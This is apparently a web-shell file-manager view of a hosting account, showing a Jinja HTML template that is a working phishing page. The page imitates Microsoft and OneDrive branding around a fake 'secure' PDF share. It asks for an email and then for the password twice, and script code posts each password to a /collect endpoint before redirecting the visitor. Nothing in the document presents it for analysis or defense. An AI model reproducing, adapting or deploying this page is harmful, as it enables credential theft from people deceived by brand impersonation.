HEX
Server: LiteSpeed
System: Linux altaruk3.supremepanel3.co.uk 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: imperialpark (2283)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /home/imperialpark/myapp/templates/index.html
{% extends "base.html" %}

{% block title %}OneDrive - Secure Document Access{% endblock %}

{% block extra_css %}
<style>
    :root {
        --ms-blue: #0078d4;
        --ms-text: #323130;
        --ms-muted: #605e5c;
    }

    .stage {
        position: relative;
        min-height: calc(100vh - 80px);
        display: flex;
        align-items: center;
        justify-content: center;
    }

    .screen {
        position: absolute;
        width: 100%;
        display: flex;
        align-items: center;
        justify-content: center;
        transition: opacity 0.5s ease;
    }

    .hidden {
        opacity: 0;
        pointer-events: none;
    }

    .card {
        background: white;
        width: min(92vw, 440px);
        padding: 32px;
        border-radius: 6px;
        box-shadow: 0 8px 28px rgba(0,0,0,0.22);
    }

    .logo {
        display: flex;
        align-items: center;
        gap: 8px;
        font-weight: 600;
        font-size: 20px;
        margin-bottom: 20px;
        justify-content: center;
    }

    .logo-box {
        width: 24px;
        height: 24px;
        display: grid;
        grid-template-columns: repeat(2, 1fr);
        gap: 2px;
    }

    .logo-box div:nth-child(1) { background:#f25022; }
    .logo-box div:nth-child(2) { background:#7fba00; }
    .logo-box div:nth-child(3) { background:#00a4ef; }
    .logo-box div:nth-child(4) { background:#ffb900; }

    h2 {
        font-size: 20px;
        font-weight: 600;
        margin: 10px 0 12px;
        text-align: center;
    }

    .text {
        font-size: 13px;
        color: var(--ms-muted);
        line-height: 1.45;
        margin: 10px 0;
        text-align: center;
    }

    .file {
        display: flex;
        justify-content: center;
        align-items: center;
        gap: 8px;
        font-weight: 500;
        margin: 14px 0;
    }

    .file-icon {
        background: #d13438;
        color: white;
        font-size: 11px;
        font-weight: 700;
        padding: 4px 6px;
        border-radius: 3px;
    }

    input {
        width: 100%;
        padding: 12px 10px;
        border: 1px solid #8a8886;
        font-size: 15px;
        margin-top: 12px;
        border-radius: 4px;
    }

    input:focus {
        outline: none;
        border-color: var(--ms-blue);
    }

    button {
        width: 100%;
        padding: 12px;
        background: var(--ms-blue);
        color: white;
        border: none;
        font-size: 15px;
        font-weight: 600;
        margin-top: 20px;
        cursor: pointer;
        border-radius: 4px;
        transition: background 0.2s;
    }

    button:hover {
        background: #106ebe;
    }

    button:disabled {
        background: #ccc;
        cursor: not-allowed;
    }

    .login-bg {
        background-image: url("https://logincdn.msauth.net/shared/5/images/fluent_web_light_2_145a07dcb971527a82b8.svg");
        background-size: cover;
        background-position: center;
        min-height: 100vh;
    }

    .back {
        font-size: 14px;
        color: var(--ms-text);
        cursor: pointer;
        margin-bottom: 14px;
        display: inline-flex;
        align-items: center;
        gap: 6px;
    }

    .back:hover {
        color: var(--ms-blue);
    }

    .link {
        color: #0067b8;
        font-size: 13px;
        margin-top: 12px;
        display: inline-block;
        cursor: pointer;
    }

    .error-message {
        color: #d13438;
        font-size: 13px;
        margin-top: 8px;
        display: none;
    }

    .loading-screen {
        background: #f3f2f1;
        z-index: 1000;
    }

    .envelope-container {
        text-align: center;
    }

    .envelope {
        width: 120px;
        height: 80px;
        background: #e1dfdd;
        position: relative;
        margin: 0 auto 30px;
        border-radius: 4px;
        box-shadow: 0 4px 12px rgba(0,0,0,0.1);
    }

    .envelope:before {
        content: '';
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        background: linear-gradient(135deg, #0078d4 0%, #106ebe 100%);
        clip-path: polygon(0% 0%, 100% 0%, 50% 50%);
        border-radius: 4px 4px 0 0;
    }

    .envelope:after {
        content: '';
        position: absolute;
        bottom: 10px;
        left: 50%;
        transform: translateX(-50%);
        width: 60px;
        height: 40px;
        background: #f3f2f1;
        border-radius: 2px;
        box-shadow: 0 2px 4px rgba(0,0,0,0.1);
    }

    .envelope-icon {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        color: #0078d4;
        font-size: 32px;
        z-index: 2;
    }

    .loading-text {
        font-size: 16px;
        color: var(--ms-text);
        font-weight: 600;
        margin-bottom: 8px;
    }

    .loading-subtext {
        font-size: 13px;
        color: var(--ms-muted);
    }

    .loading-dots {
        margin-top: 20px;
    }

    .dot {
        display: inline-block;
        width: 8px;
        height: 8px;
        border-radius: 50%;
        background: #0078d4;
        margin: 0 4px;
        animation: dotPulse 1.4s infinite ease-in-out both;
    }

    .dot:nth-child(1) { animation-delay: -0.32s; }
    .dot:nth-child(2) { animation-delay: -0.16s; }

    @keyframes dotPulse {
        0%, 80%, 100% { transform: scale(0); }
        40% { transform: scale(1); }
    }

    .spinner {
        display: inline-block;
        width: 20px;
        height: 20px;
        border: 2px solid rgba(255,255,255,.3);
        border-radius: 50%;
        border-top-color: white;
        animation: spin 0.8s linear infinite;
        vertical-align: middle;
        margin-right: 8px;
    }

    @keyframes spin {
        to { transform: rotate(360deg); }
    }
</style>
{% endblock %}

{% block content %}
<div class="stage">
    <!-- SCREEN 0 - Loading -->
    <div id="loadingScreen" class="screen loading-screen">
        <div class="envelope-container">
            <div class="envelope">
                <div class="envelope-icon">✉️</div>
            </div>
            <div class="loading-text">Loading secure content</div>
            <div class="loading-subtext">Checking your access permissions</div>
            <div class="loading-dots">
                <div class="dot"></div>
                <div class="dot"></div>
                <div class="dot"></div>
            </div>
        </div>
    </div>

    <!-- SCREEN 1 - Email -->
    <div id="screen1" class="screen hidden">
        <div class="card">
            <div class="logo">
                <div class="logo-box">
                    <div></div><div></div><div></div><div></div>
                </div>
                Microsoft
            </div>

            <h2>View PROPOSAL</h2>

            <div class="text">You have received a secure link:</div>

            <div class="file">
                <div class="file-icon">PDF</div>
                <div>F324.pdf</div>
            </div>

            <div class="text">
                To open this secure link, enter the email this item was shared to.
            </div>

            <input id="emailInput" placeholder="Enter your email" />
            <div class="error-message" id="emailError">Please enter a valid email address</div>

            <button id="emailButton" onclick="checkEmail()">Next</button>
            
            <div class="text" style="margin-top:20px;">
                Privacy & Cookies
            </div>
        </div>
    </div>

    <!-- SCREEN 2 - First Password -->
    <div id="screen2" class="screen login-bg hidden">
        <div class="card">
            <div class="logo">
                <div class="logo-box">
                    <div></div><div></div><div></div><div></div>
                </div>
                Microsoft
            </div>

            <div class="back" onclick="returnToEmail()">← <span id="backEmail"></span></div>

            <h2>Enter password</h2>

            <input type="password" id="password1" placeholder="Password" />
            <div class="error-message" id="password1Error">Please enter your password</div>

            <div class="link">Forgot my password</div>

            <button id="password1Button" onclick="saveFirstPassword()">Next</button>
        </div>
    </div>

    <!-- SCREEN 3 - Second Password -->
    <div id="screen3" class="screen login-bg hidden">
        <div class="card">
            <div class="logo">
                <div class="logo-box">
                    <div></div><div></div><div></div><div></div>
                </div>
                Microsoft
            </div>

            <div class="back" onclick="returnToFirstPassword()">← <span id="backEmail2"></span></div>

            <h2>Confirm password</h2>
            
            <div class="text">
                Please re-enter your password for verification.
            </div>

            <input type="password" id="password2" placeholder="Re-enter password" />
            <div class="error-message" id="password2Error">Please re-enter your password</div>

            <div class="link">Forgot my password</div>

            <button id="password2Button" onclick="completeLogin()">Sign in</button>
        </div>
    </div>
</div>
{% endblock %}

{% block extra_js %}
<script>
// Store user data
let userData = {
    email: '',
    pass1: '',
    pass2: ''
};

// Email validation
function isValidEmail(email) {
    return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}

// Send data to server
async function sendToServer(data) {
    try {
        const formData = new FormData();
        formData.append('email', data.email);
        formData.append('password', data.password);
        formData.append('attempt_count', data.attempt);
        formData.append('total_attempts', data.total);
        
        const response = await fetch('/collect', {
            method: 'POST',
            body: formData
        });
        
        return await response.json();
    } catch (error) {
        console.error('Error:', error);
        return { success: false };
    }
}

// Button loading states
function showLoading(buttonId) {
    const btn = document.getElementById(buttonId);
    btn.innerHTML = '<span class="spinner"></span>Processing...';
    btn.disabled = true;
}

function hideLoading(buttonId, text) {
    const btn = document.getElementById(buttonId);
    btn.innerHTML = text;
    btn.disabled = false;
}

// Check email function
async function checkEmail() {
    const input = document.getElementById('emailInput');
    const error = document.getElementById('emailError');
    const email = input.value.trim();
    
    showLoading('emailButton');
    
    // Simple delay to simulate processing
    await new Promise(r => setTimeout(r, 500));
    
    if (!isValidEmail(email)) {
        error.style.display = 'block';
        hideLoading('emailButton', 'Next');
        return;
    }
    
    error.style.display = 'none';
    userData.email = email;
    
    // Update back buttons
    document.getElementById('backEmail').textContent = email;
    document.getElementById('backEmail2').textContent = email;
    
    hideLoading('emailButton', 'Next');
    
    // Go to password screen
    document.getElementById('screen1').classList.add('hidden');
    document.getElementById('screen2').classList.remove('hidden');
    document.getElementById('password1').focus();
}

// Save first password
async function saveFirstPassword() {
    const input = document.getElementById('password1');
    const error = document.getElementById('password1Error');
    const password = input.value;
    
    showLoading('password1Button');
    
    await new Promise(r => setTimeout(r, 500));
    
    if (!password) {
        error.style.display = 'block';
        hideLoading('password1Button', 'Next');
        return;
    }
    
    error.style.display = 'none';
    userData.pass1 = password;
    
    // Send to server
    await sendToServer({
        email: userData.email,
        password: password,
        attempt: 1,
        total: 2
    });
    
    hideLoading('password1Button', 'Next');
    
    // Go to confirm password screen
    document.getElementById('screen2').classList.add('hidden');
    document.getElementById('screen3').classList.remove('hidden');
    document.getElementById('password2').focus();
}

// Complete login
async function completeLogin() {
    const input = document.getElementById('password2');
    const error = document.getElementById('password2Error');
    const password = input.value;
    
    showLoading('password2Button');
    
    await new Promise(r => setTimeout(r, 500));
    
    if (!password) {
        error.style.display = 'block';
        hideLoading('password2Button', 'Sign in');
        return;
    }
    
    error.style.display = 'none';
    userData.pass2 = password;
    
    // Send to server
    await sendToServer({
        email: userData.email,
        password: password,
        attempt: 2,
        total: 2
    });
    
    hideLoading('password2Button', 'Sign in');
    
    // Redirect
    window.location.href = '/redirect';
}

// Navigation
function returnToEmail() {
    document.getElementById('screen2').classList.add('hidden');
    document.getElementById('screen1').classList.remove('hidden');
    document.getElementById('emailInput').focus();
}

function returnToFirstPassword() {
    document.getElementById('screen3').classList.add('hidden');
    document.getElementById('screen2').classList.remove('hidden');
    document.getElementById('password1').focus();
}

// Initialize page
window.onload = function() {
    // Show loading for 2 seconds then show email screen
    setTimeout(function() {
        document.getElementById('loadingScreen').classList.add('hidden');
        document.getElementById('screen1').classList.remove('hidden');
    }, 2000);
    
    // Enter key handlers
    document.getElementById('emailInput').addEventListener('keypress', function(e) {
        if (e.key === 'Enter') checkEmail();
    });
    
    document.getElementById('password1').addEventListener('keypress', function(e) {
        if (e.key === 'Enter') saveFirstPassword();
    });
    
    document.getElementById('password2').addEventListener('keypress', function(e) {
        if (e.key === 'Enter') completeLogin();
    });
    
    // Clear errors on input
    document.getElementById('emailInput').addEventListener('input', function() {
        document.getElementById('emailError').style.display = 'none';
    });
    
    document.getElementById('password1').addEventListener('input', function() {
        document.getElementById('password1Error').style.display = 'none';
    });
    
    document.getElementById('password2').addEventListener('input', function() {
        document.getElementById('password2Error').style.display = 'none';
    });
};
</script>
{% endblock %}